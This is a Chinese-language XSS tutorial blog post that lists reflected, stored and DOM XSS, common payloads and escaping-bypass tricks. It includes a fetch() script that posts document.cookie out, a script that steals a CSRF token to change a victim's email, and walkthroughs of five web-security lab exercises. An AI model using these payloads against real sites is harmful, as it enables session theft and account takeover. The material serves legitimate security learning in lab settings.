XSS原理+DOMXSS实战

1. XSS成因

用户在客户端输入一个内容,服务端收到这个内容,并把它嵌入网页再返回给用户,这是一个常见的功能。如果用户输入的这个内容是一段精心构造的js代码,服务端恰好没有过滤,那返回的js就会被浏览器执行。

2. XSS分类

2.1 反射型
	常见把js构造在URL中,然后引导其他人点击这个恶意URL,造成反射型XSS
2.2 存储型
	把恶意的js发送到服务端并存储,以后其他用户每次浏览页面,都会触发XSS
2.3 DOM型
	DOM型XSS是特殊的XSS,页面中有很多元素,浏览器会为这些元素创建对应的文档对象,每个对象都有属性和方法。通过构造js编辑文档对象,修改页面,获取DOM中的数据

3. XSSpayload

3.1 常用payload
	<script>alert(/xss/);</script>
	<BODY ONLOAD=alert('XSS')>
	<img src=x onerror=alert(1)>
	<svg onload=alert(1)>
	<a href = javasript:alert(1)>
3.2 常用凑js思路
	a. </script>闭合前一个js
	b. 跳出前一个js
	'-alert(document.domain)-'
	';alert(document.domain)//
	c. 绕过转译字符
	';alert(document.domain)// 会被转译为 \';alert(document.domain)//
	所以我们输入
	\';alert(document.domain)//会被转译为\\';alert(document.domain)//
	js又可以成功执行了
	d. 用HTML解析绕过单引号
	&apos; 代表单引号
	&apos;-alert(1)-&apos; 等于'-alert(document.domain)-'
	e. 嵌入模板跳出双引号
	${alert(1)} 是一个嵌入的模板
	前后闭合双引号
	"${alert(1)}"
3.3 偷cookie的js
	<script>
	fetch('https:// ', {
	method: 'POST',
	mode: 'no-cors',
	body:document.cookie
	});
	</script>
3.4 配合csrf偷tokens

在这里插入图片描述
在这里插入图片描述

	这样一个修改邮箱的地址框,背后带有token防止csrf
	但是配合XSS 就可以偷取token,修改邮箱
	<script>
	var req = new XMLHttpRequest(); 
	req.onload = handleResponse; 
	req.open('get','/email',true); 
	req.send();
	function handleResponse() {
	    var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
	    var changeReq = new XMLHttpRequest(); 
	    changeReq.open('post', '/email/change', true);
	    changeReq.send('csrf='+token+'&email=test@test.com')
	};
	</script>
	发送一个请求 去到email页面 偷取token
	发送第二个请求 携带token,修改邮箱
3.5 查找反射XSS小技巧
	用Repeater模块发送payload,然后在回复里查找这个payload,如果解析了,则存在XSS

4. 可能导致DOMXSS的函数

document.write()
document.writeln()
document.domain
someDOMElement.innerHTML
someDOMElement.outerHTML
someDOMElement.insertAdjacentHTML
someDOMElement.onevent
jQuery functions:
add()
after()
append()
animate()
insertAfter()
insertBefore()
before()
html()
prepend()
replaceAll()
replaceWith()
wrap()
wrapInner()
wrapAll()
has()
constructor()
init()
index()
jQuery.parseHTML()
$.parseHTML()

5. 实战DOMXSS

a. 实战1

在这里插入图片描述
输入随机字符,然后做检查
在这里插入图片描述
发现了qqq在img内
我们拼接
“><svg onload=alert(1)>
成功触发

b. 实战2

在这里插入图片描述
有一个选择查询框
点击查询,bp截包查看
在这里插入图片描述
发现post包里有两个参数
右击查看元素
在这里插入图片描述
发现js会用get方法读取storeId,然后document.write写进页面里,拼接他的内容
"></select><img%20src=1%20onerror=alert(10)>
就能构成
<select name=""></select><img%20src=1%20onerror=alert(10)>
完成XSS

c. 实战3

在这里插入图片描述
先搜索qqqq
在这里插入图片描述
发现搜索内容直接嵌入到了HTML标签里
可以直接嵌入img 然后调用οnerrοr=alert()触发

d. 实战4

发现url中含有参数
在这里插入图片描述
在其中一个Back标签,跳转的href参数是从用户端的URL传进来的
在这里插入图片描述
构造url
https://ac121f241fb558428099334d007e003d.web-security-academy.net/feedback?returnPath=javascript:alert(1)
然后点击Back,完成了XSS

e. 实战5

AngularJS 在检查元素中发现了ng-app 确认js library
然后在输入框 直接两个花括号执行
{{$on.constructor('alert(1)')()}}

  • 0
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值